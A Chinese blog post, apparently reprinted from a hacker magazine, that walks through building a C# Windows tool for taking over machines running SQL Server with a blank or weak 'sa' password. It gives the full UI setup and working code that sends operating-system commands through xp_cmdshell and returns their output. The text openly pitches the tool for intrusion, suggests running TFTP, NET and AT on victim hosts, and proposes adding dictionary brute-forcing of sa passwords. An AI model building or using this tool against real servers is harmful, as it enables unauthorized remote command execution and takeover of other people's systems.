使用VC#轻松制作SQL CmdShell

SQLServer知识:sqlcmd用法笔记 今天给大家介绍sqlcmd用法笔记,希望对大家能有所帮助!1、介绍sqlcmd是一个 Microsoft Win32 命令提示实用工具,可以通过该命令工具实现SQL语句、脚本的执行,并且可... 阅读详情
使用VC#轻松制作SQL CmdShell

( 作者:mikespook | 发布日期:2003-10-7 | 浏览次数:354 )

关键字:C#,数据库,扩展存储过程,漏洞
本文已投稿《黑客安全基地》。文章为《黑客安全基地》所有,未经《黑客安全基地》同意不得转载。谢谢合作!

  你想入侵么?想拿到系统的管理员权限么?想随意的远程操作他人计算机于股掌之间呢?你会怎么做?用扫描器暴力破解Administrator密码?还是远程溢出呢?如果这些针对操作系统级入侵的的技术你觉得都不合你的胃口,你为什么不换个角度试试呢?门进不去,有窗户么!有时我们并不一定非要盯着操作系统的密码不放,因为也许系统提供的其他服务的密码会更容易得到。
  当你运行各种扫描器扫描的时候,有没有见过提供SQL Server服务的系统呢?有没有遇到扫描器报告SQL Server的sa用户口令为空或为弱口令的情况呢?如果你的答案是肯定的,那么你是否利用过这个漏洞来达成你入侵一台主机的目的呢?来吧,下面我们就看看拥有一台SQL Server的sa用户权限我们能做点什么。
  当我们拥有SQL Server的sa权限时,我们就可以执行扩展存储过程xp_cmdshell。利用查询分析器以sa用户登陆,通过xp_cmdshell来执行任何可能的语句来完成我们所预期的功能。
  比如,我们拿到了一台名叫“m-s”计算机的SQL Server的sa口令“123456”。那么我们启动SQL查询分析器(这个工具是在SQL Server的客户端附带的),填写计算机名、用户名、密码,并按确定登陆该SQL Server。如图1:
图1
  现在我们先来查看一下这台计算机C盘根目录下的内容。可以在查询分析器中输入“xp_cmdshell "dir c:/"”。就会有如图2所示的结果:
图2
  大家看到了吧?这条语句执行的结果就是这台计算机C盘根目录下的内容。你也许会说了,要C盘根目录下的内容能干什么?那么我们换个命令来执行: TFTP、NET、AT……这些命令不是你梦寐以求能在你想要入侵的计算机上执行的命令么?而这一切我们没有为得到操作系统的Administrator密码苦苦的扫描。因为利用SQL Server入侵根本不需要操作系统的管理员权限。
  但是,使用SQL查询分析器来操作很不方便。而且要安装SQL查询分析器必须安装SQL Server Client。不说别的,就安装这个的步骤与注意事项,就够我再跟小编骗好多稿费的。那么既然我们已经知道了其中的原理,为什么不自己编写一个工具呢?
  下面,我们就利用.net中System.Data.SqlClient名字空间下专门用于连接SQL Server的类用VC#来编写一个SQL-CmdShell。
  到用VC#制作SQL-CmdShell是不是有点头晕呢?又要连接SQL数据库,又要执行扩展存储过程。不用担心!由于.net类库中的功能实在是太强了,所以我们所需要手工编写的代码总共不到40行。下面,我就说一说具体的编写方法。
  当然按照我的习惯,还是首先制作我们所需要的界面(图3):
图3
  在VC#中新建一个Windows应用程序的工程,起名叫SQLCMD。在下面的说明中括号里的内容是需要修改的控件属性设置,对于没有说明的属性保留默认值。
  在窗体(Name:frmMain Text:SQL-CMDShell)上添加一个编组框(Name:groupBox1 Text:SQL服务器)。在编组框groupBox1中添加三个标签(Name:label1 Text:SQL服务器,Name:label2 Text:用户名,Name:label3 Text:密码)和三个文本框(Name:txtServer,Name:txtID Text:sa,Name:txtPassword PasswordChar:*)。同时,还要添加一个复选框(Name:cbNULLPassword Text:空密码)到编组框中去。在窗体frmMain上再添加一个列表框(Name:lbResult HorizontalScrollbar:True TabStop:False)、一个标签(Name:label4 Text:命令)、一个组合框(Name:cbCMD)和一个按钮(Name:btnCMD Text:执行)。最后再添加一个状态栏(Name:statusBar1),并且在装态栏上添加两个面板(Name:sbp Text:状态 Width:40,Name:sbpMsg)。同时为了美观,大家可以自行调整控件的Anchor属性。
  还要添加两个非可视化的数据控件。这两个控件在控件面板的“数据”项中。分别为SqlConnection(Name:sqlConn)和SqlCommand(Name:sqlComm Connection:sqlConn)
  好了,界面有了,剩下的就是编码了。
  在复选框cbNULLPassword的CheckedChanged事件中添加如下代码:
private void cbNULLPassword_CheckedChanged(object sender, System.EventArgs e)
{
txtPassword.Enabled = !cbNULLPassword.Checked;
}
  这样,当选中为空密码的时候密码框不可用。也许有的读者会提出疑问:这样做是不是有点多此一举呢?当sa为空密码的时候,我们空着密码框不填不就可以了?这当然是可以的,但是并不够完美。我稍后会解释我为什么要添加这么一个复选框。
  在组合框cbCMD的KeyPress事件中添加如下代码:
private void cbCMD_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e)
{
if(′/n′ == e.KeyChar)
btnCmd_Click(sender, e);
}
  当组合框获取焦点再按下回车时,就相当于点击了按钮btnCmd。
  好了,下面就该写最核心的部分了。为了说明方便,我在代码前面添加了行号。
10 private void btnCmd_Click(object sender, System.EventArgs e)
20 {
30 try
40 {
50 sbpMsg.Text = "命令 ′" + cbCMD.Text + "′ 正在执行...";
60 this.Cursor = Cursors.WaitCursor;
70 string pw = null;
80 if(!cbNULLPassword.Checked)
90 pw = "password=" + txtPassword.Text + ";";
100 sqlConn.ConnectionString = "initial catalog=master;" + pw + "persist security info=" + (!cbNULLPassword.Checked).ToString() + ";user id=" + txtID.Text + ";workstation id=" + txtServer.Text + ";packet size=4096";
110 sqlComm.CommandText = "xp_cmdshell ′cmd /c " + cbCMD.Text + "′";
120 sqlComm.Connection.Open();
130 lbResult.Items.Add("【★★★★★ /"" + cbCMD.Text + "/" ★★★★★】");
140 SqlDataReader reader = sqlComm.ExecuteReader();
150 while(reader.Read())
160 {
170 if(!reader.IsDBNull(0))
180 lbResult.Items.Add(reader.GetString(0));
190 }
200 sbpMsg.Text = "命令 ′" + cbCMD.Text + "′ 执行成功!";
210 sqlComm.Connection.Close();
220 lbResult.Items.Add("【★★★★★ /"" + cbCMD.Text + "/" ★★★★★】");
230 lbResult.Items.Add("");
240 if(!cbCMD.Items.Contains(cbCMD.Text))
250 cbCMD.Items.Insert(0, cbCMD.Text);
260 cbCMD.Text = null;
270 lbResult.SelectedIndex = lbResult.Items.Count - 1;
280 this.Cursor = Cursors.Default;
290 }
300 catch(Exception ex)
310 {
320 this.Cursor = Cursors.Default;
330 sbpMsg.Text = ex.Message;
340 }
350 }
  下面我解释一下上面的代码。
  50行是在状态栏中提示当前的命令正在运行。当整个程序在执行过程中抛出异常,会在300行捕捉异常。并在330行将捕捉到的异常的原因提示在状态栏中。
由于有的命令可能会执行比较长的时间,60行会把鼠标变成正在等待的样式。并且在命令正常执行完后,在280行恢复正常鼠标。如果在执行过程中出现异常,程序不能执行到280行的话,会在异常处理的部分恢复鼠标。也就是320行恢复。
  80行是判断sa是使用空密码登陆,还是非空密码。这里这样写是因为SqlConnection的ConectionString中有一个项 “persist security info”。当其为“True”时,说明登陆需要密码。当然这个密码也可以为空字符串。当其为“False”时,登陆不进行密码验证。这样会加快连接SQL服务器的速度。
110行就是那个扩展存储过程的命令。这里我要特别说明一下的是我使用了“xp_cmdshell ‘cmd /c [command]’”这样的形式来执行命令。你直接用“xp_cmdshell ‘[command]’”也是可以的,不过没有加“cmd /c”执行出来的结果美观而已。
第130、220、230行我纯粹是为了结果美观加的分隔符号。
  140行声明了一个SqlDataReader的实例。用以保存命令执行后的结果。从150到190行程序就是利用SqlDataReader读取命令执行的结果,并保存到列表框中。需要说明的是170行。这里必须判断读出来的记录是不是为空值,如果不为空值才可以向列表框中添加。否则会因为对空值调用GetString方法而产生异常。
  240行会判断组合框的列表项目中是否已经有当前命令。如果没有会执行250行,将当前命令添加到组合框列表中去。并在260清空组合框显示文本。
  270行是为了上卷列表框,显示最新的命令执行结果。
至此,一个简单的SQL-CMDShell就制作完成了。怎么样效果还不错吧?(图4)
图4
  还是我的老习惯,对我没有完成的功能给大家一点提示。
  1. 当你在运行这个程序的时候,执行命令会比较慢。这是因为每次执行一个命令就需要从新连接数据库,执行扩展存储过程,然后断开与数据库的连接。你可以想办法在执行命令前一次连接,以后只要执行存储过程就可以了。
  2. 由于命令执行比较慢,实际上在执行150行的while语句的时候,程序是处于无响应状态。为了避免这种情况,可以使用多线程。(多线程的使用请参考我前面写的关于VC#制作多线程扫描器的文章)
  3. 大家还是可以参考我前面写的关于VC#制作多线程扫描器的文章。添加利用字典来暴力扫描sa口令的功能。将这个SQL-CMDShell做成真正好用的工具。
Vue3+uniapp开发必备:5分钟搞定unplugin-auto-import自动导入配置(附常见报错解决) 本文详细介绍了在Vue3+uniapp项目中配置unplugin-auto-import插件实现自动导入的方法。通过该配置,开发者无需手动导入ref、onLoad等常用API,可显著提升编码效率和团队协作规范性。文章提供了从安装、TypeScript集成到高级用法的完整指南,并附带了常见报错的解决方案。 阅读详情

相关推荐

Aloudata Agent :基于 NoETL 明细语义层的分析决策智能体

这是包括我们在内的一些厂商探索的一个新方向,这种方式先由大模型将自然语言转化为对指标语义层的查询请求(MQL,Metrics Query Language),再由指标平台将指标和维度的查询与计算逻辑转化为准确的 SQL 查询语句。用户查询经大模型语义解析后,将其转换为指标、维度及筛选条件的组合表达,并生成面向指标平台的 MQL,Aloudata CAN 指标平台的语义引擎将 MQL 转换为准确和可执行的查询 SQL,语义引擎内置函数体系与 SQL 解析器,确保语义转换的 100% 准确性。

Aloudata的博客 1664

SQL 中常用存储过程xp_cmdshell运行cmd命令

目的: 使用SQL语句,在D盘创建一个文件夹myfile 首先查询系统配置 SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options' GO 可以看到他们的值为0,无法配置 打开系统配置: USE master GO RECONFIGURE --先执行一次刷新...

Laaguid的博客 2066

PyGPT:桌面AI助手整合大模型与本地知识库,打造高效工作流

大语言模型(LLM)通过理解和生成自然语言,正深刻改变人机交互方式。其核心原理是基于海量数据训练的Transformer架构,能够根据上下文进行预测和生成。这一技术价值在于将强大的AI能力平民化,广泛应用于代码生成、文档分析、创意写作和智能问答等场景。通过API调用云端模型或本地部署开源模型,开发者可以构建个性化的AI应用。本文聚焦于PyGPT这一桌面AI助手,它巧妙地将ChatGPT、Claude、Gemini等主流大模型与LlamaIndex、Ollama等本地化工具整合,实现了聊天、文件分析、代码解释

weixin_28679635的博客 437

xp_cmdshell的内容

 xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。 一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。 可以将xp_cmdshell消除删除方法为:到sql server的查询分析器中,试用存储过程sp_d

swort_177的专栏 1057

深度解析大语言模型中的词向量

​ 在学习完语言模型中的编码器与解码器知识后,让我们继续深入学习大语言模型中一个非常关键的技术:词向量表示,以及如何通过Transformer模型实现对next token的预测。 ​

产品老A,8年互联网大厂AIPM,专注探索新型人机交互 3284

达梦数据库连接报错6001网络通信异常

本文主要记录客户端连接达梦数据库报错6001网络通信异常问题分析过程、问题原因以及问题解决方法。

chen_zizi2025的博客 2772

利用xp_cmdshell 导出文件到本地和网络路径。

作者:曲军昌   1.导出到本地: --创建测试文件夹。 master..xp_cmdshell 'mkdir E:\Test\'--导出文件到本地,包括本机的数据库的连接方式。EXEC master..xp_cmdshell 'bcp "Landahz..PRTOBANK " out "\E:\工资文件\文件名称.xls" -c -q -S".\sql2008" -U"sa" -P"

曲军昌的博客 3250

项目篇 | 图书管理系统 | 管理员模块 | 概述

图书管理系统管理员模块概述

百栗.的博客 405

linux下多进程编程简介

两年前的文章,拿过来充充门面。————————————————————————linux下多进程编程简介( 作者:mikespook | 发布日期:2002-12-8 | 浏览次数:272 )关键字:Linux,多进程,fork(),wait()前言:    本文章只是为了给广大和我一样的菜鸟一个指引。如果你是高手,或对编程毫无兴趣。建议请不要在此浪费时间。  

mikespook的专栏 3883

【云原生技术】云计算与网络:容器服务(Tencent Kubernetes Engine,简称TKE)简介

基本概念主要特点应用场景技术实现容器服务(Tencent Kubernetes Engine,简称TKE)是腾讯云提供的一种托管的容器管理服务,基于开源的Kubernetes系统。TKE旨在简化容器的部署、管理和扩展,并且提供高性能、可靠性和安全性,适用于各种规模的企业和应用。

weixin_46453070的博客 2043

在 LangGraph 中集成 Skills 增强智能体能力

LangGraph 的核心是通过**状态机 + 节点(Node) + 工具(Tool)**来编排智能体流程,你可以把 Skills 理解为“封装好的工具或可复用的任务流”,下面是一套可落地的集成方案。

lpfasd123的博客 1180

黄金眼——SQL注入扫描器的制作(1)

黄金眼——SQL注入扫描器的制作(1) ( 作者:mikespook | 发布日期:2004-5-16 | 浏览次数:125 ) 关键字:黄金眼,SQL注入,扫描器,C#   本文最早是为《黑客安全基地》撰写的。后来由于一些原因,该杂志停刊。所以现在整理后发到我的站上,给大家观赏吧。因为“黄金眼”从我发布到现在已经有大半年的时间,所以如果您的站还受到这个扫描器的困扰,那我只能说抱歉,您太

mikespook的专栏 3281

再不入坑就晚了,深度神经网络概念大整理,最简单的神经网络是什么样子?

再不入坑就晚了,深度神经网络概念大整理,最简单的神经网络是什么样子?

我是香菜 3万+

黄金眼——SQL注入扫描器的制作(2)

黄金眼——SQL注入扫描器的制作(2) ( 作者:mikespook | 发布日期:2004-5-16 | 浏览次数:51 ) 关键字:黄金眼,SQL注入,扫描器,C# 程序的编写: 终于可以开始我最喜欢的部分了(^_*)。首先我要说一下我如何选择编程工具。我的很多工具的编写都是基于dotNET平台,用C#编写的。我觉得这种轻量级的工具应该用快速、方便的方法来编写。当然,使用C/C++甚

mikespook的专栏 3144

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

linux下 OOB 炸弹的制作

两年前的文章,拿过来充充门面。 —————————————————— linux下 OOB 炸弹的制作 ( 作者:mikespook | 发布日期:2002-12-8 | 浏览次数:466 ) 关键字:linux,OOB炸弹,网络编程 前言:    本文章只是为了给广大和我一样的菜鸟一个指引。如果你是高手,或对编程毫无兴趣。建议请不要在此浪费时间。    记得还是在上高中时,第一次接触了w

mikespook的专栏 2616

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

优快云登陆校验码模式识别程序

下班后,吃饭前快速写了这么一个东西,以证明图片验证码的脆弱。防君子,不防XX。本来应该使用HTTP协议直接从优快云的登陆页面DOWN校验图片的,因为时间仓促,所以没有仔细设计。只是做一个示例,还要麻烦大家手工保存校验图片为GIF格式。而且暂时只支持优快云当然使用的校验码图片。有时间的话,我会改进改进算法,直接查询边缘,并且将模式识别的算法更加模糊一些。现在的识别是要求100%匹配的。极有可能的

mikespook的专栏 2370

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

使用VC#制作多线程TCP connect扫描器

使用VC#制作多线程TCP connect扫描器 ( 作者:mikespook | 发布日期:2003-8-24 | 浏览次数:250 ) 关键字:网络,c#,扫描,多线程 本文已投稿《黑客安全基地》。文章为《黑客安全基地》所有,未经《黑客安全基地》同意不得转载。谢谢合作!  如果你想知道对方的计算机提供什么服务,什么工具是你最常用的?没错!扫描器。现在各式各样的扫描器少说也后好几百种了。

mikespook的专栏 2349

黄金眼——SQL注入扫描器的制作(3)

黄金眼——SQL注入扫描器的制作(3) ( 作者:mikespook | 发布日期:2004-5-16 | 浏览次数:72 ) 关键字:黄金眼,SQL注入,扫描器,C# “折半查找”是我在“黄金眼”1.2和1.3中使用的查找方法。速度已经非常快了。查找算法的优劣,主要指标就是比较次数。我们希望用最少的比较次数找到我们需要的内容。下面我给大家三个公式,量化比较一下三种查找方法的速度。至于公

mikespook的专栏 1899

linux下信号编程简介——不可靠的信号

两年前的文章,贴过来充充门面。 ———————————————————— linux下信号编程简介——不可靠的信号 ( 作者:mikespook | 发布日期:2002-12-8 | 浏览次数:135 ) 关键字:linux,信号,signal() 前言:    本文章只是为了给广大和我一样的菜鸟一个指引。如果你是高手,或对编程毫无兴趣。建议请不要在此浪费时间。  信号是什么?其实这是一个

mikespook的专栏 1886

网络编程小贴士

网络编程小贴士 ( 作者:mikespook | 发布日期:2003-7-4 | 浏览次数:321 ) 关键字:网络,IP,主机名   本文已投稿《黑客安全基地》。文章为《黑客安全基地》所有,未经《黑客安全基地》同意不得转载。谢谢合作!   下面给大家介绍几个常用的网络编程小贴士。为了方便起见,我将用C++ Builder 5来做演示程序。大家首先应该在C++ Builder 5中做一下配

mikespook的专栏 1827

XY.Watermark 水印组源件代码发布

http://main.xxiyy.com/softlist.asp?id=80核心文件在Units目录下,未加注释。我开放这个程序的代码并不是为了让你篡改版权后发布。个人希望你能从这个代码中受益,发现我的代码中好的,或者不好的东西。如果你觉得我写的代码在某些方面有问题,那么请务必要告诉我。期望共同进步!再次重申,本代码只可做学习研究之用。对本代码的任何商业行为都将受到BS,并且在法律的范

mikespook的专栏 1680

用BCB改窗体系统菜单

两年前的文章,拿出来充充门面。 —————————————————————— 用BCB改窗体系统菜单 ( 作者:mikespook | 发布日期:2002-12-8 | 浏览次数:133 ) 关键字:BCB,系统菜单,消息映射表   我们在用一些软件时会发现,这些软件的系统菜单并不是标准的,可能少几项,可能多几项,也可能默认的系统菜单已经变得面目全非。  图1是一个标准的系统菜单。图2是经

mikespook的专栏 1652
上一篇: 使用VC#制作多线程TCP connect扫描器
下一篇: 关于LB论坛的一个BUG的探讨
mikespook
博客等级 码龄25年 72粉丝 34原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值